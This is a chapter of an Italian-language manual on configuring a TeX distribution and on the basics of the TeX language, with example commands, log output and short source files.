È importante chiarire che non esiste un modo standard di installare una distribuzione TeX e ogni distribuzione GNU tende a collocarla dove ritiene più opportuno. Il blocco principale di una distribuzione TeX dovrebbe trovarsi in una gerarchia che può inserirsi al di sotto di '`/usr/lib/`' o '`/usr/share/`'. A titolo di esempio, viene mostrato un elenco di alcune di queste possibilità.

'`/usr/lib/teTeX/texmf/`'

'`/usr/lib/texmf/texmf/`'

'`/usr/share/teTeX/texmf/`'

'`/usr/share/texmf/`'

Negli esempi che vengono mostrati, quando si fa riferimento a questa directory, si indicano solo percorsi relativi a iniziare da '`texmf/`'. La sigla «texmf» sta per *TeX and more*, oppure per *TeX and friends*.

61.1.2 Configurazione

Di fronte alla complicazione di una distribuzione TeX, potrebbe sembrare assurda l'idea di metterci le mani, pensando addirittura di modificare le impostazioni generali di TeX. Tuttavia, quando si maneggiano documenti eccezionalmente voluminosi, potrebbe essere necessario modificare anche ciò che non è stato pensato per esserlo.

Alla fine della composizione di un documento TeX, si può leggere nel file delle registrazioni generato, un rapporto delle risorse utilizzate durante l'elaborazione. Si osservi l'esempio.

```
Here is how much of TeX's memory you used:
 2418 strings out of 25906
 45132 string characters out of 446921
 109255 words of memory out of 263001
 5196 multiletter control sequences out of 10000+0
 106774 words of font info for 69 fonts, out of 200000 for 1000
 15 hyphenation exceptions out of 1000
 33i,12n,21p,2494b,1259s stack positions out of 300i,100n,500p,30000b,4000s

Output written on texput.dvi (1844 pages, 7563800 bytes).
```

Questo è proprio il caso di un documento enorme (1 844 pagine), ma prima di tale informazione appaiono dei valori, dove alternativamente si vede quanto di una data risorsa è stato usato e quanto di questa sarebbe stato invece disponibile. Se per qualche ragione si esaurisce una di queste risorse, l'elaborazione si interrompe con una segnalazione di errore che indica quale limite è stato superato.

Se succede, si può provare a mettere mano al file di configurazione della distribuzione di TeX che dovrebbe essere '`texmf/web2c/texmf.cnf`'. La prima volta, non è tanto facile capire il senso delle direttive che questo contiene, ma con un po' di tentativi si dovrebbe riuscire a risolvere il problema.

Prima di tutto si può osservare che, seguendo lo stile generale di TeX, i commenti sono introdotti dal simbolo di percentuale ('`%`'). Nella prima parte del file sono annotati i percorsi dei vari componenti della distribuzione.

```
% Part 1: Search paths and directories.

% The main tree, which must be mentioned in $TEXMF, below:
TEXMFMAIN = /usr/share/texmf

% A place for local additions to a "standard" texmf tree.  For example:
%   TEXMFLOCAL = /usr/share/texmf.local

% A place where texconfig stores modifications (instead of the TEXMFMAIN
% tree). texconfig relies on the name, so don't change it.
%   TEXMF_CNF = $TEXMF.cnf

% User texmf trees can be catered for like this...
%   HOMETEXMF = $HOME/texmf
```

La lettura di questa parte può rivelare delle informazioni importanti riguardo la propria distribuzione TeX. Più avanti inizia una parte più delicata: quella che definisce le dimensioni degli array utilizzati da TeX, dimensioni che di conseguenza rappresentano i limiti a cui si accennava all'inizio di questa sezione.

```
% Part 3: Array and other sizes for TeX (and Metafont and MetaPost).
…
% Max number of characters in all strings, including all error messages,
% help texts, font names, control sequences.  These values apply to TeX and MP.
pool_size.context = 500000
pool_size.cont-en = 500000
pool_size.cont-nl = 500000
pool_size.cont-de = 500000
%pool_size = 125000
pool_size = 500000
```

In questa parte, il valore più importante è quello di '**`pool_size`**', perché può creare problemi soprattutto a pdfTeX. Nell'esempio si vede che è stato quadruplicato.

Alcune modifiche non possono essere prese in considerazione senza un'elaborazione successiva del file. In generale, al termine delle modifiche è bene dare il comando seguente:

\# **`texconfig init`** [*Invio*]

A parte il caso particolare dell'utilizzo appena mostrato, '**`texconfig`**' è un programma interattivo predisposto per configurare gli elementi essenziali della distribuzione TeX. Si avvia semplicemente, senza bisogno di argomenti. La figura 61.4 mostra il menù principale di '**`texconfig`**'.

\# **`texconfig`** [*Invio*]

Figura 61.4. Il menù principale di '**`texconfig`**'.

```
.--------------------------- teTeX setup utility ----------------------------.
|                                                                            |
|  Hint: all output of external commands (e.g. tex) is logged into          |
|  a file. You can look at this file using LOG. If cursor keys make         |
|  trouble, you may have more luck with +/- and TAB.                        |
|                                                                            |
|                                                                            |
| .----------------------------------------------------------------------. |
| |                EXIT    exit                                          | |
| |                PREF    personal preferences                          | |
| |                CONF    show configuration                            | |
| |                REHASH  rebuild ls-R database                         | |
| |                HYPHEN  hyphenation table (tex/latex)                 | |
| |                MODE    default mode (xdvi/dvips/mf)                  | |
| |                XDVI    xdvi configuration                            | |
| |                DVIPS   dvips configuration                           | |
| |                FONT    directories for font creation                 | |
| |                DOC     rebuild html documentation                    | |
| |                FAQ     frequently asked questions + answers          | |
| |                LOG     view logfile                                  | |
|----------------------------------------------------------------------------|
|                            <  OK  >      <Cancel>                          |
'----------------------------------------------------------------------------'
```

La funzione indicata con la sigla *PREF* serve solo a modificare il comportamento di '**`texconfig`**', permettendo in particolare di selezionare un programma per la modifica del

testo alternativo a quello predefinito.

La funzione *CONF* permette di mostrare la configurazione, consistente nella definizione delle directory contenenti i vari componenti della distribuzione TeX.

La funzione *REHASH* permette di ricostruire il file '`texmf/ls-R`', utilizzato per agevolare la ricerca dei componenti installati ad alcuni programmi della distribuzione. In generale, si ricostruisce questo file quando si aggiunte o si toglie qualche file (per esempio i file dei tipi di carattere).

La funzione *HYPHEN* è molto importante, perché permette di stabilire le lingue per cui attivare la suddivisione in sillabe del testo. Selezionando questa funzione si ottiene l'avvio del programma per la modifica di file di testo (presumibilmente VI) con il file '`texmf/tex/generic/config/language.dat`'. Questo file può essere modificato, quindi, dopo averlo salvato, vengono avviate automaticamente le procedure necessarie ad attivare in pratica le scelte fatte.

Di solito, si tratta di commentare le righe che fanno riferimento a linguaggi che non si vogliono gestire e di togliere il commento dalla direttiva di attivazione della sillabazione per la lingua italiana.

```
% File    : language.dat
% Purpose : specify which hypenation patterns to load
%           while running iniTeX

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% CAUTION: the first language will be the default if no style-file
%          (e.g. german.sty) is used.
% Since version 3.0 of TeX, hyphenation patterns for multiple languages are
% possible. Unless you know what you are doing, please let the american
% english patterns be the first ones. The babel system allows you to
% easily change the active language for your texts. For more information,
% have a look to the documentation in texmf/doc/generic/babel.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% The hyphenation pattern files are in the directory:
%       texmf/tex/generic/hyphen


% The US-english patterns should be loaded *always* and as *first* ones.
american ushyph1.tex %

% Let us define USenglish as an alias for american:
=USenglish %

% UK english, TWO LINES!
%british  ukhyph.tex %
%=UKenglish %

% english should always be defined. Either an alias for american or british.
=english %

% French, TWO lines!
french          frhyph.tex frhyphex.tex %
=patois %
```

```
german          ghyph31.tex %

% The following languages are disabled by default. Uncomment, what you need.
%bahasa         inhyph.tex %
%catalan        cahyph.tex %
%croatian       hrhyph.tex %
%czech          czhyph2e.tex %
%danish         dkhyphen.tex %
%dutch          nehyph2.tex %
%finnish        fihyph.tex %
%galician       gahyph.tex %
italian         ithyph.tex %
%magyar         huhyph.tex %
%norsk          nohyph.tex %
%polish         plhyph.tex %
%portuges       pthyph.tex %
%romanian       rohyphen.tex %
%russian        ruhyph.tex %
%serbocroatian  shhyph1.tex %
%slovene        sihyph22.tex %
%spanish        sphyph.tex %
%swedish        sehyph.tex %
%turkish        trhyph.tex %

% A "language" without hyphenation:
nohyphenation zerohyph.tex %
```

Al termine dell'elaborazione si può verificare nel file '`texmf/web2c/latex.log`' la presenza delle righe che dimostrano l'abilitazione della sillabazione per le lingue selezionate nel file di configurazione. In questo caso particolare, la lingua italiana corrisponde al linguaggio numero tre.

```
…
\l@american=\language0
…
\l@USenglish =\language0
\l@english =\language0
\l@french=\language1
…
\l@patois =\language1
\l@german=\language2
…
\l@italian=\language3
…
\l@nohyphenation=\language4
```

La funzione *MODE* permette di predisporre alcuni programmi per la risoluzione della propria

stampante. Ciò si ottiene semplicemente selezionando il nome di una stampante che dovrebbe corrispondere, o essere molto simile alla propria.

La funzione *XDVI* permette di configurare Xdvi (sezione 29.3), il programma di visualizzazione dei file DVI, in modo da stabilire il formato del foglio che si utilizza. Basta scorrere un elenco e confermare.

La funzione *DVIPS* permette di configurare Dvips (sezione 29.3), il programma in grado di convertire file DVI in PostScript. Come per Xdvi, la cosa più importante da stabilire è il formato della carta, ma può anche essere indicata la stampante, o il comando di stampa da utilizzare quando Dvips viene usato per inviare direttamente un file alla stampa.

L'ultima funzione importante è *FONT* che permette di regolare i permessi di accesso alle directory che contengono i tipi di carattere e anche di configurare altre caratteristiche di questi file.

61.1.3 Funzionamento fondamentale di TeX

TeX utilizza un sorgente che si distingue perché di solito il suo nome finisce con l'estensione '`.tex`'; durante il processo di composizione genera un rapporto sull'elaborazione in un file con l'estensione '`.log`' e produce un file finale in formato DVI, con estensione '`.dvi`'. Successivamente, i file DVI vengono convertiti normalmente in PostScript attraverso il programma Dvips.

Eventualmente, è disponibile anche pdfTeX, con cui, invece di una composizione in formato DVI, si ottiene un file PDF senza passaggi intermedi.

Se si suppone che il file '`primo.tex`' contenga il testo seguente

```
Ciao a tutti.

Questo \`e il mio primo documento scritto con il linguaggio \TeX.
\bye
```

per ottenere la composizione in formato DVI è sufficiente il comando

$ **tex primo.tex** [*Invio*]

```
This is TeX, Version 3.14159 (Web2C 7.3.1)
(primo.tex [1] )
Output written on primo.dvi (1 page, 328 bytes).
Transcript written on primo.log.
```

mentre per ottenere la composizione in formato PDF è sufficiente il comando

$ **pdftex primo.tex** [*Invio*]

```
This is pdfTeX, Version 3.14159-13d (Web2C 7.3.1)
(primo.tex[/usr/share/texmf/pdftex/config/pdftex.cfg]
Babel <v3.6x> and hyphenation patterns for american, italian,
  nohyphenation, loaded.
[1[/usr/share/texmf/dvips/config/pdftex.map]] )<cmr10.pfb>
Output written on primo.pdf (1 page, 9807 bytes).
Transcript written on primo.log.
```

Nel primo caso si ottiene il file '`primo.dvi`', mentre nel secondo si ha il file '`primo.pdf`'. Eventualmente, per convertire il file DVI in PostScript, è sufficiente usare Dvips nel modo seguente:

$ **`dvips -o primo.ps primo.dvi`** [*Invio*]

```
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
  (www.radicaleye.com)
' TeX output 2001.08.30:0835' -> primo.ps
<texc.pro>. [1]
```

Ecco quello che si ottiene:

Ciao a tutti.
Questo è il mio primo documento scritto con il linguaggio TEX.

Si può anche usare una versione estesa di TeX, e-TeX e pdfeTeX, corrispondenti agli eseguibili '**`etex`**' e '**`pdfetex`**', che in questo caso si comportano nello stesso modo:

$ **`etex primo.tex`** [*Invio*]

```
This is e-TeX, Version 3.14159-2.1 (Web2C 7.3.1)
entering extended mode
(primo.tex [1] )
Output written on primo.dvi (1 page, 328 bytes).
Transcript written on primo.log.
```

oppure

$ **`pdfetex primo.tex`** [*Invio*]

```
This is pdfeTeX, Version 3.14159-13d-2.1 (Web2C 7.3.1)
entering extended mode
(primo.tex[/usr/share/texmf/pdftex/config/pdftex.cfg] [1[/usr/share
/texmf/dvips/config/pdftex.map]] )<cmr10.pfb>
Output written on primo.pdf (1 page, 9807 bytes).
Transcript written on primo.log.
```

Gli eseguibili '**`tex`**', '**`pdftex`**' '**`etex`**' e '**`pdfetex`**' sono indipendenti, mentre attorno a loro si presentano altrettante serie di collegamenti simbolici:

```
virtex     -> tex
initex     -> tex
latex      -> tex
amstex     -> tex

evirtex    -> etex
einitex    -> etex
elatex     -> etex

pdfevirtex -> pdfetex
pdfeinitex -> pdfetex
pdfelatex  -> pdfetex

pdfvirtex  -> pdftex
pdfinitex  -> pdftex
pdflatex   -> pdftex
```

A seconda del nome usato per avviare uno stesso eseguibile, si può ottenere un comportamento differente. Nel caso di '**`virtex`**' che è un collegamento a '**`tex`**', si fa riferimento implicitamente al ***formato*** '**`plain`**', corrispondente alle dichiarazioni contenute nei file della directory '`texmf/tex/plain/`', così come '**`pdfvirtex`**' fa riferimento alla directory '`texmf/pdftex/plain/`', ecc. Purtroppo, le cose non sono così semplici in generale, perché le convenzioni non sono perfettamente omogenee; tuttavia, vale la pena di tenere presente che i nomi del tipo '**`[pdf][e]virtex`**' sono equivalenti ai nomi del tipo '**`[pdf][e]tex`**'.

I nomi del tipo '**`[pdf][e]initex`**' fanno riferimento al linguaggio TeX senza la dichiarazione di alcuna macro e sono equivalenti all'uso degli eseguibili del tipo '**`[pdf][e]tex`**' con l'aggiunta dell'opzione '**`--ini`**'. In pratica, per usare '**`[pdf][e]initex`**', oppure '**`[pdf][e]tex --ini`**', occorre modificare l'esempio già visto nel modo seguente:

```
\input plain
Ciao a tutti.

Questo \'e il mio primo documento scritto con il linguaggio \TeX.
\bye
```

Questa spiegazione viene data solo per chiarire un po' il funzionamento di TeX e il significato di tutti i collegamenti simbolici che gli stanno intorno. L'uso dell'istruzione '**`\input plain`**' nel sorgente non funziona sempre come ci si aspetterebbe leggendo queste indicazioni; in pratica, una volta capito il senso della cosa, non va usata affatto.

In modo analogo a quanto visto fino a questo punto, quando si fa riferimento a un collegamento del tipo '**`[pdf][e]latex`**', è come usare un eseguibile del tipo '**`[pdf][e]initex`**', oppure '**`[pdf][e]tex --ini`**', iniziando il sorgente TeX con la riga seguente:

```
\input latex.ini
```

Resta il fatto che il comando '**`\input latex.ini`**' non rappresenta necessariamente uno standard e quello che conta è sapere solo che i collegamenti '**`[pdf][e]latex`**' richiamano in qualche modo il formato '**`latex`**'. In altri termini, i collegamenti '**`[pdf][e]latex`**' fanno riferimento implicitamente alle macro di LaTeX.

Per completare questa sezione, viene mostrato un esempio di un sorgente LaTeX, ovvero un sorgente TeX fatto per le macro LaTeX. Si fa riferimento al nome ipotetico '`secondo.tex`':

```
\documentclass{article}
\begin{document}
Ciao a tutti.

Questo \'e il mio primo documento scritto con il linguaggio \LaTeX .
\end{document}
```

Per comporre correttamente questo file, occorre un comando del tipo:

$ **[pdf] [e] latex secondo.tex** [*Invio*]

A seconda dei casi si ottiene il file '`secondo.dvi`', oppure '`secondo.pdf`'.

61.1.4 Interazione con TeX

La composizione di un documento scritto con il linguaggio TeX può avvenire anche con qualche forma di interazione. Se si avvia uno degli eseguibili '**[pdf] [e] tex**' senza argomenti, si ottiene un invito a inserire il nome del file, attraverso l'indicazione di due asterischi:

$ **tex** [*Invio*]

```
This is TeX, Version 3.14159 (Web2C 7.3.1)
**
```

Si può inserire così il percorso del file, omettendo eventualmente l'estensione se questa corrisponde a '`.tex`':

terzo.tex [*Invio*]

```
(terzo.tex [1] )
Output written on terzo.dvi (1 page, 488 bytes).
Transcript written on terzo.log.
```

Supponendo di avere scritto un file, denominato '`quarto.tex`', in cui non appare l'istruzione '**\bye**' finale, come nel testo seguente, TeX si ferma in attesa di istruzioni, mostrando un invito ridotto a un solo asterisco:

```
Ciao a tutti.

Questo \'e il mio quarto documento scritto con il linguaggio \TeX,
dove non appare l'istruzione $\backslash$bye alla fine del file.
```

$ **tex quarto.tex** [*Invio*]

```
This is TeX, Version 3.14159 (Web2C 7.3.1)
(quarto.tex)
*
```

Naturalmente, se si è in grado di farlo, si può aggiungere anche altro testo:

*Saluti! [*Invio*]

*\bye [*Invio*]

```
[1]
Output written on quarto.dvi (1 page, 448 bytes).
Transcript written on quarto.log.
```

Ciao a tutti.
Questo è il mio quarto documento scritto con il linguaggio TEX, dove non appare l'istruzione \bye alla fine del file.
Saluti!

Di solito si evita di interagire con TeX, tuttavia si può essere costretti dal presentarsi di un errore durante la compilazione del sorgente. Per la precisione, il livello di interazione di TeX può essere regolato attraverso delle istruzioni speciali, come descritto nella tabella 61.24. In condizioni normali, il funzionamento avviene in modalità '**errorstopmode**', corrispondente all'istruzione '**\errorstopmode**', in cui TeX si ferma in attesa di indicazioni per qualunque errore si presenti.

Tabella 61.24. Istruzioni per il controllo della modalità di funzionamento interattiva.

Istruzione TeX	Modalità di funzionamento
`\errorstopmode`	La composizione viene sospesa per qualunque errore.
`\scrollmode`	La composizione viene sospesa solo per gli errori più importanti.
`\nonstopmode`	La composizione viene sospesa solo in presenza di errori gravissimi.
`\batchmode`	La composizione viene sospesa solo in presenza di errori gravissimi e non si mostrano informazioni sullo schermo.

Per esempio, il file '`quinto.tex`' che contiene il testo seguente, usa erroneamente l'istruzione '**\tex**' al posto di '**\TeX**':

```
Ciao a tutti.

Questo \'e il mio quinto documento scritto con il linguaggio \tex, in
cui si provoca volutamente un errore.
\bye
```

$ **tex quinto.tex** [*Invio*]

```
This is TeX, Version 3.14159 (Web2C 7.3.1)
(quinto.tex
! Undefined control sequence.
l.3 ...to documento scritto con il linguaggio \tex
                                                  , in
?
```

Viene dichiarato sinteticamente il tipo di errore individuato, che in questo caso corrisponde a

```
! Undefined control sequence.
```

ovvero una sequenza di controllo indefinita. Nella riga successiva si indica il numero della riga in cui appare l'errore ('**l.3**' sta per *line* 3) con il pezzo di testo che arriva fino all'errore, mentre il pezzo successivo appare staccato, nella riga successiva.

```
l.3 ...to documento scritto con il linguaggio \tex
                                                  , in
```

In pratica, secondo TeX l'errore è riferito esattamente alla stringa '**\tex**'. Sotto appare un invito composto da un punto interrogativo, con il quale TeX attende un'azione dell'utente. Si può rispondere con un altro punto interrogativo per avere l'elenco delle possibilità:

?**?** [*Invio*]

```
Type <return> to proceed, S to scroll future error messages,
R to run without stopping, Q to run quietly,
I to insert something, E to edit your file,
1 or ... or 9 to ignore the next 1 to 9 tokens of input,
H for help, X to quit.
?
```

La tabella 61.30 descrive brevemente il significato e l'uso dei comandi disponibili, mostrando anche la modalità corrispondente quando una scelta coincide con la richiesta di cambiamento di questa.

Tabella 61.30. Interazione in presenza di un errore.

Tastiera	Istruzione TeX corrispondente	Effetto
[*h*][*Invio*]		Mostra la spiegazione del motivo dell'interruzione.
[*i*][*Invio*]		Richiede di inserire una correzione.
[*e*][*Invio*]		Avvia un programma per la modifica del file sorgente.
[*x*][*Invio*]		Arresta la composizione.
[*s*][*Invio*]	`\scrollmode`	Non si ferma più in presenza di piccoli errori.
[*r*][*Invio*]	`\nonstopmode`	Non si ferma più per alcun errore.
[*q*][*Invio*]	`\batchmode`	Non si ferma più per alcun errore e non mostra alcuna informazione.
[*Invio*]		Cerca di rimediare all'errore e continua la composizione.
[***n***][*Invio*]		Cerca di rimediare automaticamente ai prossimi ***n*** errori.

Nel caso dell'errore mostrato, si vuole provare a capire meglio di cosa si tratta, attraverso il comando [*h*][*Invio*]:

?**h** [*Invio*]

```
The control sequence at the end of the top line
of your error message was never \def'ed. If you have
misspelled it (e.g., '\hobx'), type 'I' and the correct
spelling (e.g., 'I\hbox'). Otherwise just continue,
and I'll forget about whatever was undefined.
```

Dal momento che si può correggere facilmente l'errore, si richiede di poter inserire del testo sostitutivo:

`?`**`i`** [*Invio*]

`insert>`**`\TeX`** [*Invio*]

```
[1] )
Output written on quinto.dvi (1 page, 376 bytes).
Transcript written on quinto.log.
```

Con il comando [*e*][*Invio*] si può avviare un programma per la modifica del file sorgente. Di solito si tratta di VI, ma si può intervenire nella variabile di ambiente ***TEXEDIT*** indicando il nome di un altro programma, usando le metavariabili '**`%d`**' e '**`%s`**' per indicare rispettivamente la riga contenente l'errore e il nome del file. Per esempio, rimanendo nel caso di VI, è possibile usare la sintassi seguente per raggiungere la riga ***n***-esima del file indicato:

`vi -c` ***n*** ***file***

In questo modo, si dovrebbe assegnare alla variabile di ambiente ***TEXEDIT*** la stringa '**`vi -c %d %s`**':

`$` **`TEXEDIT="vi -c %d %s"`** [*Invio*]

`$` **`export TEXEDIT`** [*Invio*]

61.2 Elementi essenziali del linguaggio TeX

Un file sorgente TeX è un file di testo normale; per la precisione dovrebbe trattarsi di un file ASCII standard a 7 bit, dove l'interruzione delle righe avviene secondo le regole del proprio sistema operativo.

Nel linguaggio di TeX si distinguono righe bianche o vuote da righe contenenti istruzioni. Nell'ambito delle righe contenenti istruzioni, possono poi apparire dei commenti che si distinguono per essere preceduti dal segno di percentuale ('`%`'), terminati dalla fine della riga. Nell'esempio seguente si può osservare che tutte le righe che contengono del testo sono in pratica delle istruzioni, più o meno articolate. Nella prima riga appare anche un commento che poi scompare nella composizione finale.

```
Ciao a tutti. % Ecco, un commento tanto per gradire.

Questo \`e solo un piccolo esempio per vedere come funziona il
linguaggio di composizione \TeX.
\bye
```

Gli spazi, verticali e orizzontali, hanno un significato, ma generalmente non si sommano. Normalmente si usa una riga vuota o bianca per separare il testo in paragrafi, ma la presenza di più righe bianche o vuote non cambia la distanza tra questi paragrafi nella composizione finale; nello stesso modo, uno spazio orizzontale serve generalmente a separare le parole di una frase, ma la presenza di più spazi orizzontali non cambia la distanza tra le parole.

Eventualmente si può dichiarare espressamente la separazione tra i paragrafi attraverso l'istruzione '**\par**', tenendo presente che anche in questo caso, l'uso di più istruzioni del genere non produce una separazione maggiore tra i paragrafi stessi

L'istruzione finale '**\bye**' conclude il «programma» TeX e tutto ciò che appare dopo viene ignorato.

61.2.1 Testo letterale, parole e simboli di controllo

Una riga di testo si traduce generalmente nel testo corrispondente nella composizione finale, tenendo conto però che alcuni simboli hanno un significato speciale e si distinguono contesti differenti. La tabella 61.34 elenca i caratteri che hanno significati particolari, con l'indicazione del modo per ottenere il loro simbolo originale nella composizione.

Tabella 61.34. Elenco dei caratteri che hanno significati particolari.

Carattere speciale	Utilizzo normale	Trasformazione per l'uso letterale
\	Prefisso di una parola di controllo o di un simbolo di controllo.	$\backslash$
{	Apre un gruppo.	$\{$
}	Chiude un gruppo.	$\}$
%	Inizia un commento fino alla fine della riga.	\%
&	Tabulazione orizzontale.	\&
~	Spazio non interrompibile.	\~{}
$	Inizia e conclude un contesto matematico.	\$
^	Apice, in un contesto matematico.	\^{}
_	Pedice, in un contesto matematico.	_{}
#	Definisce la collocazione di un parametro.	\#
<SP>	Uno o più spazi vengono ridotti a uno solo.	\<SP>
<	In condizioni normali, genera un punto esclamativo rovesciato.	$<$

Carattere speciale	Utilizzo normale	Trasformazione per l'uso letterale
>	In condizioni normali, genera un punto interrogativo rovesciato.	`$>$`

La barra obliqua inversa ('****') viene usata come prefisso per delle ***sequenze di controllo***, nell'ambito delle quali si può distinguere tra ***parole di controllo*** e ***simboli di controllo***. Una parola di controllo è formata esclusivamente da lettere alfabetiche (dalla «a» alla «z», maiuscole e minuscole, escluse le lettere accentate); per esempio, '**`\TeX`**' è una parola di controllo con cui si ottiene la rappresentazione del nome TeX secondo lo standard stabilito dal suo autore originale. Un simbolo di controllo è invece un solo carattere che non sia una lettera alfabetica; per esempio, '**`` \` ``**' è un simbolo di controllo con cui si ottiene l'aggiunta di un accento grave sopra il simbolo successivo.

In base al fatto che le parole di controllo si distinguono perché composte esclusivamente da lettere alfabetiche, si può porre il problema di delimitarle correttamente quando si trovano incorporate in parole che compongono il testo normale. Nell'esempio già mostrato, la parola di controllo '**`\TeX`**' si individua correttamente perché è seguita da un punto fermo, ovvero un simbolo che non è una lettera alfabetica, ma volendo scrivere un gioco di parole, come «il mio primo TeXdocumento», sarebbe necessario usare uno strattagemma. Si osservi l'esempio seguente che si traduce in un errore nella composizione del documento:

```
Ciao a tutti.

Questo \`e il mio primo \TeXdocumento.
\bye
```

TeX cerca di interpretare la parola di controllo '**`\TeXdocumento`**' e non dovrebbe riuscirci. Per questa ragione, lo spazio che dovesse seguire una parola di controllo viene ignorato; così, diventa più facile inserire queste parole di controllo in parole del testo che si vuole comporre. Ecco l'esempio corretto:

```
Ciao a tutti.

Questo \`e il mio primo \TeX documento.
\bye
```

Tuttavia, rimane da chiarire in che modo inserire veramente uno spazio dopo una parola di controllo. Questo problema viene risolto con l'uso dei raggruppamenti.

61.2.2 Raggruppamenti

In diverse situazioni è utile raggruppare parte delle istruzioni (il testo) all'interno di parentesi graffe ('**`{...}`**'). L'effetto del raggruppamento non si nota nella composizione finale, ma permette di circoscrivere l'effetto di istruzioni particolari.

È ammissibile anche l'uso di raggruppamenti vuoti, '**`{}`**', che di solito vengono usati per separare parole o simboli di controllo dal testo che segue. Per esempio, scrivendo '**`\TeX{}`**' si riesce a evitare che lo spazio successivo venga inghiottito. Naturalmente si può usare anche il simbolo di controllo '****<*SP*>' (barra obliqua inversa e spazio) per indicare espressamente uno

spazio in quel punto. Nel seguito vengono mostrati diversi esempi che si traducono nella stessa composizione finale.

- Raggruppamento vuoto alla fine della parola di controllo:

```
Il linguaggio di composizione \TeX{} sembra complesso a prima vista...
\bye
```

- Raggruppamento vuoto per separare gli spazi:

```
Il linguaggio di composizione \TeX {} sembra complesso a prima vista...
\bye
```

- Raggruppamento per individuare uno spazio:

```
Il linguaggio di composizione \TeX{ }sembra complesso a prima vista...
\bye
```

- Raggruppamento per individuare uno spazio dopo la fine della parola di controllo:

```
Il linguaggio di composizione \TeX { }sembra complesso a prima vista...
\bye
```

- Raggruppamento per isolare la parola di controllo:

```
Il linguaggio di composizione {\TeX} sembra complesso a prima vista...
\bye
```

- Raggruppamento per isolare lo spazio e la parola successiva:

```
Il linguaggio di composizione \TeX { sembra} complesso a prima vista...
\bye
```

Nella tabella 61.34 sono stati mostrati alcuni simboli di controllo che sono conclusi evidentemente da un raggruppamento vuoto: '`\~{}`', '`\^{}`' e '`\_{}`'. In questo caso, il raggruppamento vuoto serve a impedire che la sequenza di controllo produca qualcosa di diverso da ciò che ci si aspetta in quel contesto particolare. Per esempio, '`\^o`' oppure anche '`\^ o`' genera la lettera accentata «ô».

Viene chiarito in seguito che le istruzioni '`\~{}`' e '`\^{}`' sono delle macro-istruzioni che servono a generare un accento, utilizzano un parametro, costituito dal carattere o dal gruppo successivo. Nel momento in cui si vogliono rappresentare questi simboli senza abbinarli ad altro, il loro parametro deve essere un gruppo vuoto o lo spazio inteso come carattere ('`\`<*SP*>'). Pertanto, in alternativa a '`\~{}`' e '`\^{}`' si potrebbe usare la forma '`\~\`<*SP*>' e '`\^\`<*SP*>'.

Oltre all'uso delle parentesi, è possibile usare in alternativa la coppia di parole di controllo '**`\bgroup`**' e '**`\egroup`**', in sostituzione di '`{`' e '`}`' rispettivamente.

61.2.3 Inclusione di file esterni

È possibile articolare un sorgente TeX in più file separati che vengono inclusi con l'istruzione '**\input**':

```
\input nome_file
```

L'inclusione avviene inserendo in quel punto le righe del file indicato. Se il file esterno contiene l'istruzione '**\bye**', la composizione termina senza continuare nel file di partenza.

61.3 Variabili e tipi di dati

TeX ha una gestione molto particolare dei dati. Nelle sezioni seguenti vengono descritti solo i tipi di dati più comuni, ma questo dovrebbe bastare per far comprendere la logica di fondo.

Vale la regola per cui può essere usato solo ciò che è già stato dichiarato; inoltre, il campo di azione di queste variabili può essere controllato attraverso i raggruppamenti con le parentesi graffe.

In generale, per TeX una variabile ha l'aspetto di una parola di controllo a cui si assegna un valore secondo la sintassi seguente:

```
\nome=valore
```

L'espansione di una variabile avviene inserendo la parola di controllo corrispondente nel punto in cui il contesto lo richiede. Tuttavia, se lo scopo è quello di espandere la variabile in modo che appaia nel testo normale, occorre usare un accorgimento, con cui si trasforma il suo contenuto in una stringa. Di solito si usa per questo la parola di controllo '**\the**':

```
\the\nome
```

61.3.1 Stringhe

Per TeX la stringa è ciò che può essere reso tipograficamente; così, un'espressione stringa è ciò che alla fine si trasforma in una stringa nella composizione tipografica. Le variabili di tipo stringa si dichiarano nel modo seguente:

```
\newtoks\nome
```

Si può assegnare una stringa alla variabile nel modo seguente:

```
\nome={espressione_stringa}
```

L'espansione di una variabile stringa non può avvenire inserendo semplicemente la parola di controllo '***nome***' nel testo, perché occorre dichiarare espressamente questa intenzione con la parola di controllo '**\the**'.

```
\newtoks\data
\data={9 settembre 2001}
Treviso, \the\data \par
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla  bla bla bla bla bla bla. \par
Ciao.
```

Treviso, 9 settembre 2001
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Ciao.

Nell'esempio precedente, si crea una variabile stringa corrispondente alla parola di controllo '**\data**', a cui si assegna la stringa '**9 settembre 2001**', per poi ottenerne successivamente l'espansione nel testo.

61.3.2 Trasformazione delle stringhe

Le trasformazioni più comuni sulle stringhe sono il cambiamento in maiuscole o minuscole. Ciò si ottiene facilmente con le macro '**\uppercase**' e '**\lowercase**':

```
\uppercase{espressione_stringa_da_trasformare_in_maiuscole}
```

```
\lowercase{espressione_stringa_da_trasformare_in_minuscole}
```

61.3.3 Contatori

La variabile numerica più semplice di TeX è il contatore. Ne esistono due tipi: uno deve essere inizializzato subito, con un valore non negativo, l'altro no:

```
\countdef\nome_contatore=n
```

```
\newcount\nome_contatore
```

Il primo di questi due modelli riguarda il tipo di contatore che deve essere inizializzato in fase di dichiarazione. Il valore di inizializzazione è rappresentato da ***n***.

Per assegnare un valore a una variabile contatore, si usa la forma seguente:

```
\nome=valore
```

È importante sottolineare che l'inizializzazione di un contatore definito attraverso '**\countdef**' potrebbe in pratica non tradursi nell'assegnamento corrispondente alla variabile, pur essendo obbligatorio. Pertanto, conviene poi assegnare nuovamente il valore richiesto.

Si può assegnare un numero espresso usando cifre numeriche, con un segno anteriormente nel caso sia necessario, senza separatore decimale, come nell'esempio seguente, in cui si assegna al contatore '**\conteggio**' il valore −345.

```
\conteggio=-345
```

61.3.4 Lunghezze

Un tipo specifico di variabile numerica è adibita a contenere delle lunghezze. Per TeX, la lunghezza è un'informazione numerica particolare, riconducibile al concetto di variabile a virgola mobile di altri linguaggi. Si dichiara una lunghezza nel modo seguente:

\newdimen***nome_lunghezza***

Una lunghezza è un valore che si può rappresentare in forma costante solo specificando l'unità di misura, composta da due lettere secondo lo schema che appare nella tabella 61.49. Pertanto, un valore che esprime una lunghezza deve avere la forma seguente:

[+|-] ***numero*** [true] ***unità_di_misura***
